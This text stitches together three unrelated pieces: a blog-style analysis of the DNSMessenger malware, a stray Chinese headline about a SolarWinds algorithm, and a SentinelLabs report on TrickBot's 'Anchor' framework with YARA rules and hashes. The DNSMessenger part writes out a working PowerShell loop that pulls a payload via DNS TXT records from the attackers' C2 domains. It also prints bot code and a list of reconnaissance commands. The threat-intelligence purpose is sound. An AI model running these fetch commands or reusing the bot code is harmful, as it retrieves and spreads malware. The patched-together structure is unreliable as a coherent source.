# More info on “Evolved DNSMessenger” I read the recent blog post from Talos Intelligence. Great write up, but noticed they mentioned they were unable to get the final stage of the payload. I had also analyzed the “EDGAR_Rules_2017.docx” document yesterday and happened to get the final payload. So picking up where they left off – As they described, the stager PowerShell code uses DNS A records and TXT records to pull down the next payload. After some testing with the malicious PowerShell code, I ran into similar issues as Talos likely did and couldn’t get the next payload. Eventually, I determined the A records were unnecessary, so I wrote up my own quick PowerShell to pull down all the TXT records (turned out to be 44 TXT requests): ```powershell $complete = ""; $count = 0; while($count -lt 44) { $lookup_domain = "AAAAAAAAAA.stage.$count.ns1.press"; $nslookup_result = nslookup -type=txt $lookup_domain 2>&1; $regex = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAq #("[^\s]*"\s*)+'))); $regex_txt_result = $regex.Matches($nslookup_result); $value = ($regex.Matches($nslookup_result) | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' '; Write-Host($value); $complete += $value; Write-Host("Current stage: " + $count); Write-Host("Payload: " + $complete); sleep -s 1; $count++; } ``` This resulted in a final payload of: ``` H4sIAJ2R3VkC/909a1fbSJafyTn5DxXhbkvYEpg8pgcjpnnkwXQgLNCTnnG8HdkqQGBLjiRDCPE5+x/2H+4v2X ``` Next, I used the same PowerShell code to decode the base64, then decompress and print the result: ```powershell $data=[System.Convert]::FromBase64String('{PLACE BASE64 HERE}'); $ms=New-Object System.IO.MemoryStream; $ms.Write($data,0,$data.Length); $ms.Seek(0,0)|Out-Null; $cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress); $sr=New-Object System.IO.StreamReader($cs); Write-Output("Output2:") Write-Output($sr.readtoend()) ``` Final payload: ```powershell $domains = @("ns0.pw","ns0.site","ns0.space","ns0.website","ns1.press","ns1.website","ns2.press"); $retryCount = 10; $retryCountDoDns = 10; $biginteger = @" using System;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters;using System.Security.Permissions;using System.Text;using System.Collections.Generic;namespace X{enum Sign{Positive,Negative};[Serializable] public sealed class BigIntegerException:Exception {public BigIntegerException(string message,Exception innerException):base(message,innerException){}} [Serializable] public sealed class BigInteger:ISerializable,IEquatable,IComparable,IComparable{private const long NumberBase=65536;internal const int MaxSize=2*640;private const int RatioToBinaryDigits=16;private static readonly BigInteger Zero=new BigInteger();private static readonly BigInteger One=new BigInteger(1);private static readonly BigInteger Two=new BigInteger(2);private static readonly BigInteger Ten=new BigInteger(10);private long[]digits;private int size;private Sign sign;public BigInteger(){digits=new long[MaxSize];size=1;digits[size]=0;sign=Sign.Positive;}public BigInteger(long n){digits=new long[MaxSize];sign=Sign.Positive;if(n==0){size=1;digits[size]=0;}else{if(n<0){n=-n;sign=Sign.Negative;}size=0;while(n>0){digits[size]=n%NumberBase;n/=NumberBase;size++;}}}public BigInteger(BigInteger n){digits=new long[MaxSize];size=n.size;sign=n.sign;for(int i=0;i<MaxSize;i++){digits[i]=n.digits[i];}}... "@ if (-not ([System.Management.Automation.PSTypeName]'X.BigInteger').Type) { Add-Type -TypeDefinition $biginteger -Language CSharp } ``` The result is just your typical C&C bot code, still using the same C&C servers mentioned in the Talos Intelligence blog. A different structure of DNS records is being used for different commands. Instead of the hardcoded “stage” string to make up the URL (such as AAAAAAAAAA.stage.0.ns0.pw), we now have “add” (register bot), “mx1” (get ‘mode’), and “www” (get tasks). Exfiltration appears to be done via a web form hardcoded to the URL: `hxxp://ns0[.]pw/index[.]php?r=bot-result/index`. I registered a “fake bot” to see what the initial list of tasks were. The first list of tasks were: ```json { "taskType": "fullinfo", "24": "tasklist /v", "25": "wmic process get caption,commandline,processid", "26": "wmic process get caption,commandline,processid", "27": "wmic logicaldisk get caption,description,drivetype,providername,volumename", "21": "netsh fire wall show state", "22": "netsh firewall show config", "23": "schtasks /query /fo LIST /v", "28": "tasklist /SVC", "29": "net start", "1": "systeminfo", "2": "echo %username% %userprofile%", "5": "whoami /all", "4": "hostname", "7": "net user", "12": "net use", "15": "wmic startup list brief", "14": "wmic share list brief", "17": "route print", "16": "ipconfig /all", "19": "netstat -anop tcp", "18": "arp -A", "31": "wmic qfe get Description,HotFixID,InstalledOn", "30": "driverquery", "32": "cd %ProgramFiles% & dir & cd %ProgramFiles(x86)% & dir" } ``` So just typical information gathering commands. I’ll let others do more analysis if desired, just wanted to provide additional information.
中招目标首次披露:SolarWinds供应链攻击相关域名生成算法可破解! 红雨滴团队 奇安信威胁情报中心 收录于合集 # 后门 3 个 # 供应链 6 个 # SolarWinds 3 个
# TrickBot Project “Anchor:” Window into Sophisticated Operation ## Executive Summary - TrickBot was developed in 2016 as a banking malware; however, it has since evolved into a flexible, universal, module-based crimeware solution. - A group associated with TrickBot is actively repurposing and refactoring it into a fully functional attack framework leveraging the project called “Anchor.” - The Anchor project combines a collection of tools—from the initial installation tool to the cleanup meant to scrub the existence of malware on the victim machine. In other words, Anchor presents as an all-in-one attack framework designed to attack enterprise environments using both custom and existing tools. - The Anchor project is a complex and concealed tool for targeted data extraction from secure environments and long-term persistency. - Our research revealed command-and-control tasking for a compromised machine to download a specific tool linked to the Lazarus PowerRatankba, leveraged to actively attack medium-sized retail businesses among other corporate entities using point-of-sale (POS) systems. ## Background TrickBot was initially the banking successor of Dyre or Dyreza. It has shifted focus to enterprise environments over the years, incorporating many features from network profiling, mass data collection, and lateral traversal exploits. With this focus shift comes massive amounts of infection data; therefore, it makes sense to best utilize this data. Some infections are handed off to other teams to perform operations such as ransomware, data theft, and in the case of the Anchor group, leveraged POS attacks. Recently, a security company released an article reporting on a variant of TrickBot using DNS, referred to as the ‘Anchor’ variant. This report aims to delve into the history and conduct a deeper dive into this variant. Anchor can be summarized as a framework of pieces that allow the actors to leverage this framework against their higher profile victims. For the purposes of this report, we will go over the toolkits and components we believe to be directly associated with Anchor and its later payload deliveries: - anchorInstaller - anchorDeInstaller - AnchorBot - Bin2hex - psExecutor - memoryScraper Some of the pieces we have found for this framework can be seen below in the form of PDB paths: - D:\MyProjects\secondWork\Anchor\x64\Release\bin2hex.pdb - D:\MyProjects\mailCollection\x64\Release\mailCollector.pdb - D:\MyProjects\spreader\Release\ssExecutor_x86.pdb - D:\MyProjects\spreader\Release\screenLocker_x64.pdb - D:\MyProjects\secondWork\Anchor\Win32\Release\anchorDeInstaller_x86.pdb - D:\MyProjects\memoryScraper\Win32\Release\memoryScraper\memoryScraper$.pdb - D:\MyProjects\secondWork\Anchor\Win32\Release\anchorInstaller_x86.pdb - D:\MyProjects\spreader.v2\ssWriter\Release\ssWriter.pdb - D:\MyProjects\secondWork\psExecutor\Release\psExecutor_x86.pdb - D:\MyProjects\mailCollection\Release\sqlFinder.pdb - D:\MyProjects\mailCollection\x64\Release\mailFinder_x64.pdb - D:\MyProjects\secondWork\Anchor\x64\Release\testAnchor.pdb - d:\MyProjects\spreader.v2\REXE\tin_x86.pdb ## Component: Anchor Installer The first sample of Anchor installer available on VirusTotal was uploaded in July 2018. This is the Anchor loader, but it appears to have been built as a test version. These loaders are the installer component, and they have both 32-bit and 64-bit versions on board. They write the file to disk using ‘net’ as a prefix with random characters behind it and add it as a service to be executed using a hardcoded service name of ‘netTcpSvc’. After installing the file, the installer component deletes itself. ## Component: DeInstaller Along with an AnchorInstaller, there is also a DeInstaller designed to delete the artifacts of the infection and perform a cleanup. ## Component: AnchorBot The bot code looks particularly similar to what you would expect to see with an early version of TrickBot or Dyre. The check-in and bot ID generation are similar, but the version used is hardcoded as “1001.” A noticeable difference is its use of C2 domains with OpenNIC resolvers. ## Component: Bin2Hex This program is a command line utility for manipulating a binary file into various forms including C code, ASM code, hexlified text, and BMP insertion. ## Component: PsExecutor A binary designed to detonate a command, predominantly designed to detonate PowerShell commands. This executable allows the actor to execute any PowerShell command on the system. PowerShell is favored by these actors, using various custom loaders and available frameworks for further profiling systems including Meterpreter, CobaltStrike, and PowerShell Empire. ## Anchor Project Payloads The payloads pushed down to the bots are frequently Meterpreter, PowerShell Empire, and CobaltStrike. These payloads are delivered using a mix of custom utilities like loaders with existing tools and scripts, which appears to be an effective strategy for these actors. ### Meterpreter Loader The crypter layer on this loader had a notable string calling itself “RuntimeCrypter.” The main block of code inside also utilized some function calls not normally seen. Ultimately, this crypter layer is designed to XOR-decode the next layer, load it into memory, and then detonate it. The next layer turns out to be 64-bit Metasploit code for downloading Meterpreter. ### Signed Terraloader Terraloader is frequently seen utilized by CobaltGroup but has also been sold to other actor groups. Here, it was used to deliver another Metasploit stager in the ApacheBench tool. The Terraloader component has the normal string encoding you would see where it bruteforces the key out using known data. It is also a newer version that uses RC4 versus AES to decode the file to be delivered. ### PowerShell to Metasploit The script turns out to be a simple download and execute PowerShell script. The executed DLL allocates a chunk of memory and copies over some data into it. This data is then passed to a function along with some hardcoded strings. This function turns out to be AES, and the previously mentioned strings are the AES key and initialization vector. After being decoded, the chunk of data is once again a Metasploit shellcode loader chain with RC4 decryption of the download from the C2. ## PowerRatankba, The APT Nexus PowerRatankba? What does a tool linked to Lazarus have any business doing in a report on TrickBot? This report raises questions about whether Lazarus is using TrickBot infections or if this is simply a case of mistaken identity. ## Memscraper, The Fin Nexus The Memscraper payload is this group’s POS focused payload. It is designed to scrape memory of processes looking for credit card data, which will then be exfiltrated back to the C2 panel. It comes with an onboard whitelist of substrings that it will utilize when enumerating the process tree for various processes. This POS malware is designed to scrape memory of processes looking for credit card data. After finding potential card data, the memory will be passed off to a function that will perform Luhn checking to verify the card number before being POSTed up to the C2. HT TP based exfiltration matches what you would see with a normal TrickBot module exfiltration of data, but the “source” is called “magnetic cards” in the POST. ## Mitigation & Recommendations ### Anchor: - Service: netTcpSvc ### Yara Signature: ```plaintext rule crime_win32_memscraper_1 { meta: description = "Detects Anchor MemScraper malware" author = "Jason Reaves" strings: $s1 = {74656c6c6572000073686f700000000073746f7265000000} condition: any of them } rule crime_win32_anchor_trick_1 { meta: description = "Detects Anchor malware" author = "Jason Reaves" strings: $s1 = "D:\\Win32.ogw0rm" nocase $s2 = "MyProjects\\memoryScraper" nocase $s3 = "\\MyProjects\\secondWork\\Anchor" nocase $s4 = "\\MyProjects\\secondWork\\psExecutor" nocase $s5 = "\\MyProjects\\mailCollection" nocase $s6 = "\\MyProjects\\spreader" nocase condition: any of them } ``` ## Indicators of Compromise - Memscraper: - e54a267e788cc076c870eba0ff16920f9cb49207a034a8b6bfd92abc5a5f7434 - d584e868f867c6251e115b7909559da784f25b778192c6a24e49685f80257e4d - Memscraper DNS variant: - 354936f4265a5e870374a3fe9378cf9a3e7dd45ee4626b971d6b7b0837f4f181 - 54257aa2394ef87dd510da00e0583b670f3eb43e2eef86be4db69c3432e99abd - Anchor Deinstaller: - b288c3b3f5886b1cd7b6600df2b8046f2c0fd17360fb188ecfbcc8f6b7e552a5 - Anchor Installer: - 52a1ca4e65a99f997db0314add8c3b84c6f257844eda73ae6e5debce6abc2bd4 - Anchor Bot: - 6500190bf8253c015700eb071416cbe33a1c8f3b84aeb28b7118a6abe96005e3 - Anchor DNS variant: - 6b1759936993f02df80b330d11c1b12accd53a80b6207cd1defc555e6e4bf57 - b02494ffc1dab60510e6caee3c54695e24408e5bfa6621adcd19301cfc18e329 - c6d466600371ced9d962594474a4b8b0ccff19adc59dbd2027c10d930afbe282 - e49e6f0b194ff7c83ec02b3c2efc9e746a4b2ba74607a4aad8fbdcdc66baa8dc ## References 1. TrickBot: Dyreza's Successor 2. TrickBot: We Missed You Dyre 3. TrickBot Worming 4. How Different Malware Families Use EternalBlue - Part 1 5. TrickBot Banking Trojan Gets Screenlocker Component 6. Malware Traffic Analysis 7. Recent Lazarus Tools 8. Lazarus Toolkits 9. TrickBot Variant Anchor DNS Communicating Over DNS ## About SentinelLabs The missing link in infosec today is not about alerts - it’s about the context of those alerts. SentinelLabs came to life to solve the gap security practitioners have between autonomously protecting their enterprise assets and understanding the significance and story of alerts. Unlike other threat intelligence solutions, SentinelLabs does not focus on sharing what is already public knowledge. We focus on new findings that can assist enterprises in staying protected from adversaries. We cover both cybercrime and APT (nation-state) while having a voice in the larger community of threat hunters who are passionate about a world that is safer for all. In addition to Microsoft operating systems, we also provide coverage and guidance on the evolving landscape that lives on Apple and macOS devices.